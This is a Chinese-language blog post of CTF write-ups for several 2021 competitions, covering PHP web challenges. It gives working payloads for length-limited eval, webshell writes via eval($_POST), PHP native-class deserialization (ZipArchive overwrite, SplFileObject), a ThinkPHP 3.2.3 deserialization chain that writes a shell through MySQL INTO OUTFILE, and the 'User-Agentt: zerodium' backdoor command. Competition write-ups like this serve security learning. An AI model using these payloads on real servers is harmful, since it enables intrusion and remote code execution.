这一周比赛有点多..也没给复现的机会,其中两个利用php原生类的反序列化还挺有意思的。

NEPCTF

和校赛出题时间有些冲突了,其实题目质量还不错,不是很难,可惜也不能复现。

little_trick

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?>

关于len这个点还挺好说的,-1就绕了,那么题目就变成了限制长度为12的命令执行。方法还挺多的。

solution 1

之前总结过一次限制长度4或5的命令执行,4和5都可以了,那12自然不在话下,这里就不过多阐述了。

solution 2

事实上这题没那么麻烦,因为我们可控制字符还是比较长的,我们先测试一下:

?nep=`ls>z`;&len=7

访问一下z我们发现了

index.php
nep.php
z

很明显flag就在nep.php里,那只需

>cat 
*>z

再访问z即可。

solution3

总的来说长度还是很长的。

?nep=`$_GET[a]`;1&len=-1&a=echo "<?php eval(\$_POST[theoyu]);">theoyu.php

solution4

这个是看一位老哥的wp时发现的,确实巧妙。
首先鉴于php的弱类型,intval会把字符串数字后给截断,导致比如7;agawg识别为7,然后里用?nep=$len达到内联执行的效果。

?nep=`$len`;&len=7;echo "<?php @eval(\$_POST[theoyu])?>" > theoyu.php

梦里花开牡丹亭

考察php原生类的利用

源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

第一步当然是利用open函数去读一下shell.php,注意php文件内容的读取都需要用伪协议。

<?php
class Game
{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    public function __construct()
    {   
        $this->register='admin';
        $this->username='admin';
        $this->password='admin';
        $this->file=new Open;
        $this->filename='php://filter/read=convert.base64-encode/resource=shell';
        $this->content='';
    }
}

class Open
{

}
    $demo=new Game;
    echo base64_encode(serialize($demo))."\n";
?>

a和b的绕过用数组即可。
拿到shell.php

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

重新回到index.php,发现要想命令执行,需要把当前目录下的waf.txt给删除才行,index.php中可以利用的点不多,我们遍历一下:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__wakeup',
            'open',
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

其中ZipArchive::open,如果指定参数为ZIPARCHIVE::OVERWRITE,则会对源文件进行重覆盖,

同时我们关注红框里的一句话,如果文件为空则无效,我们就可以利用这个删除waf.txt

<?php
class Game
{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    public function __construct()
    {   
        $this->register='admin';
        $this->username='admin';
        $this->password='admin';
        $this->file=new ZipArchive;
        $this->filename='waf.txt';
        $this->content=ZipArchive::OVERWRITE;
    }
}

class Open
{

}
    $demo=new Game;
    echo base64_encode(serialize($demo))."\n";
?>

之后就是命令执行,这个绕过的条件太宽裕了,就不说了。

<?php
class Game
{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    public function __construct()
    {   
        $this->register='admin';
        $this->username='admin';
        $this->password='admin';
        $this->file=new Open;
        $this->filename='';
        $this->content='ls /';
    }
}

class Open
{

}
    $demo=new Game;
    echo base64_encode(serialize($demo))."\n";
?>

MAR DASCTF

ez_serialize

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()   
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}

感觉就是利用原生类去读取文件了,在手册以下几个类需要注意:

DirectoryIterator 遍历目录
FilesystemIterator 遍历目录
SplFileObject 读取文件,按行读取,多行需要遍历

然后就是读目录,读文件的操作了:

<?php
class A{
    public $class='FilesystemIterator';
    public $para="/var/www/html";
    public $check;
    }
$o  = new A();
echo serialize($o);
<?php
class A{
    public $class='SplFileObject';
    public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
    public $check;
    }

$o  = new A();
echo serialize($o);

红明谷

Write_shell

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

默认是开启了短标签,那么

?action=upload&data=<?=`ls`?>

是ok的 因为空格被过滤了,我们需要找到代替空格的地方。
测试以下代替空格都可以:

%09 
\$IFS
\t

后面就直接读flag即可。

Easytp

感觉今后还是得审一下框架,不让就只会那别人的exp也没什么意思。

看到THINK_VERSION = '3.2.3';,就直接去找链子打了。然后看到了这一篇文章,改了改选择传马。

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[theoyu]);?>' into outfile '/var/www/html/theoyu.php';#",
                "where" => "1=1"
            );
        }
    }
}
namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));


    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => "url",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
        CURLOPT_HTTPHEADER => array(
            "Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
            "cache-control: no-cache"
        ),
    ));
    $response = curl_exec($curl);
    $err = curl_error($curl);
    curl_close($curl);
    if ($err) {
        echo "cURL Error #:" . $err;
    } else {
        echo $response;
    }
}

上去后在根目录发现flag应该是藏在数据库里,不知道是不是蚁剑的原因,数据库一直连不上,后来传了一个冰蝎才连接好,结果flag还是读取不了,导出flag表然后又可以把flag给导出来了?
总之就是不知道自己在干嘛,为什么这里不行?为什么又行了?Maybe this is the tragedy of script kiddies。

虎符

签到

给了提示,前不久爆的php后门

User-agentt:Zerodiumsystem('cat /flag');

unsetme

搜了一下是fatfree框架,上github把源码下了下来,把index.php换成题目。

<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run(); 

运行发现base.php中的一个eval()函数有报错,我们跟进看一下。

函数调用应该是这里,我们在在前面加上一个var_dump('unset('.$val.');');,用于调试。

有了输出就好说,看能不能把括号闭合一下。
测试发现要关闭),得先关闭]

后面就是命令执行拿flag了。

思考

这几个比赛不会的还是很多,特别是注入这一块实在不行,不给复现也实在比较难受,今后可能会在框架漏洞上多花一下功夫..java?还是算了吧。

最后修改:2021 年 04 月 06 日 09 : 33 AM